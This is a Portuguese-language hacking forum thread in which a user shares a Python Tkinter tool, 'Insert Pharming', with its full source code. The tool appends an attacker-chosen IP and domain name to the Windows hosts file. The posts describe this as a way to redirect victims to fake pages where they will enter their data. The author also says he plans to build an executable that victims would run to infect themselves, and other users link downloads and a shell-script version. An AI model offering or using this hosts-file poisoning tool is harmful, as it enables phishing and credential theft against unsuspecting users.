Acabo de codar em python um programa que injeta no arquivo 'host' do Win32 um IP associado a um nome (Pharming)
Para explicar melhor tomei a liberdade de usar (no programa) as palavras do Shady sobre a Técnica, pois foi a que eu achei mais resumida!!
(//http://img101.imageshack.us/img101/600/pharming19ag.png)
Download : http://rapidshare.de/files/15188518/Pharming.pyo.html (http://rapidshare.de/files/15188518/Pharming.pyo.html)
Espero que levem em consideração a baixa qualidade do Tkinter!!
Logo vou codar um que gera um executavel (algo que seja um servidor) que a vitima executa e se infecta (o host)
...
Meu amigo se você quiser um de forma mais simples faça em delphi que ja ajuda muito!!!
Sim, mas funcionou ta valendo =)
Citação de: "Wolff123"Meu amigo se você quiser um de forma mais simples faça em delphi que ja ajuda muito!!!
O python é tao simples qto o Object Pascal ^^
Abraço
Aí, fiz um em Shell Script, quem quiser dar uma olhadinha: http://www.darkers.com.br/smf/index.php/topic,1140.0.html (//http://www.darkers.com.br/smf/index.php/topic,1140.0.html)
...by Cloudy
Kratos tem como você postar o código do .py ?

vlw
locator.dll
Pôw, desculpa aew Locator.... foi mal demorar para responder kra!!
Ta ai o source pra quem quiser estudar....
# -*- coding: ISO-8859-1 -*-
# By Kratos
from Tkinter import *
import tkMessageBox
import socket
_text = """A tecnica Pharming consiste em modificar o arquivo de hosts do sistema para enganar o usuario e faze-lo inserir dados em paginas falsas.\n
Você teoricamente precisaria digitar http://64.233.161.147 para entrar no Google. O protocolo DNS serve para facilitar o uso de browsers, associando um "nome" (www.google.com) ao endereço real do servidor (64.233.161.147).\n\n
O Windows possui um "arquivo DNS local". Nele você pode associar endereços de IP a nomes. A unica entrada presente nele por default e:\n
127.0.0.1 localhost\n
Se voce abrir seu navegador e digitar: "localhost", vai cair em 127.0.0.1 (a mesma coisa se usar ping localhost, ou se usar localhost em qualquer outro programa instalado no computador que peça um hostname ou IP).\n
Sabendo da existencia deste arquivo, hackers podem modifica-lo para criar armadilhas. Voçe pode associar um endereco IP de um site que falsificou ao nome real do site.\n
bY Shady <www.darkers.com.br>"""
# Créditos do comentario acima: Shady
_about = """Insert Pharming v 0.1
Linguagem: Python (form Win32)\n
Plataforma: Windows XP/2000/NT\n
Coder: Kratos\n
e-mail: eu_mesmoSP@hotmail.com"""
class Myapp(Frame):
def __init__(self, master=None):
Frame.__init__(self, master)
self.configure()
self.grid()
# Menus -------------------------------------------------
self.menu = Menu(root)
root.config(menu=self.menu)
self.filemenu = Menu(self.menu)
self.menu.add_cascade(label="Arquivo", menu=self.filemenu)
self.filemenu.add_command(label="Sair", command=lambda:self.exit(self))
self.helpmenu = Menu(self.menu)
self.menu.add_cascade(label="Ajuda", menu=self.helpmenu)
self.helpmenu.add_command(label="Pharming", command=lambda:self.pharm(self))
self.helpmenu.add_command(label="Pegar IP", command=lambda:self.gethost(self))
self.helpmenu.add_command(label="Sobre...", command=lambda:self.about(self))
# -------------------------------------------------------
self.label1 = Label()
self.label1.configure(width=20, text="Pharming -----", fg="#861a1a", font="Arial 12 bold")
self.label1.grid(column=0,row=0)
self.labelip = Label()
self.labelip.configure(width=10, text="IP : ", fg="blue")
self.labelip.grid(column=0,row=1)
self.numip = Entry()
self.numip.configure(width=20, fg="white", bg="black", borderwidth="5")
self.numip.grid(column=1,row=1)
self.labeldns = Label()
self.labeldns.configure(width=10, text="Nome (DNS): ", fg="blue")
self.labeldns.grid(column=0,row=2)
self.dns = Entry()
self.dns.configure(width=20,fg="white", bg="black", borderwidth="5")
self.dns.grid(column=1,row=2)
self.button1 = Button()
self.button1.configure(width=10, text="Inserir", border="5", command=lambda:self.insert(self))
self.button1.grid(column=0,row=3)
def exit(self, event):
root.destroy()
def pharm(self, event):
tkMessageBox.showwarning("Pharming", _text)
def gethost(self, event):
self.labelh = Label()
self.labelh.configure(width=10, text="Hostname", fg="blue")
self.labelh.grid(column=0,row=4)
self.host = Entry()
self.host.configure(width=20,fg="white", bg="black", borderwidth="5", relief="groove")
self.host.grid(column=1,row=4)
self.button2 = Button()
self.button2.configure(width=10, text="Checar...", border="5", fg="red", command=lambda:self.sockget(self))
self.button2.grid(column=0,row=5)
self.scrol = Scrollbar()
self.scrol.grid(column=1,row=6,stick="w",pady=5,ipady=45)
self.t = "--->> "
self.txt = Listbox()
self.txt.configure(width=30, height=10, bg="black", fg="yellow",yscrollcommand=self.scrol.set)
self.txt.insert(END,self.t)
self.txt.grid(column=0,row=6)
self.scrol.configure(command=self.txt.yview)
def sockget(self, event):
self.t2 = "Preencha o campo !!! \n"
try:
self.ind = self.host.get()
self.ind2 = socket.gethostbyname(self.ind)
self.ind3 = "IP : %s\n" %(self.ind2)
if self.host.get() == "":
self.txt.insert("end", self.t2)
else:
self.txt.insert("end", self.ind3)
except socket.gaierror:
tkMessageBox.showwarning("Erro", "Ocorreu um erro\n\nTente novamnte!")
def about(self, event):
tkMessageBox.showwarning("Sobre Insert Pharming", _about)
def insert(self, event):
try:
self.src = "C:\WINDOWS\system32\drivers\etc\hosts"
self.dnsset = "%s %s\n" %(self.numip.get(),self.dns.get())
self._insert = "Você acaba de injetar o IP %s associado ao nome %s no arquivo 'host'" %(self.numip.get(),self.dns.get())
f = open(self.src,"a")
f.write("\n")
f.write(self.dnsset)
f.close
tkMessageBox.showwarning("Insert Pharming", self._insert)
except error:
tkMessageBox.showwarning("Erro", "Ocorreu algum erro ao tentar abrir o arquivo 'host' no seu Computador")
root = Tk()
root.title("Insert Pharming")
Myapp = Myapp(root)
root.mainloop() # uffa!
obs.: O programa esta com os comentarios e variaveis tudo dentro dele, mas eu poderia simplesmente usar uma classe a parte, para deixa-lo mais leve
vlw
Obrigado Kratos..

vlw
locator.dll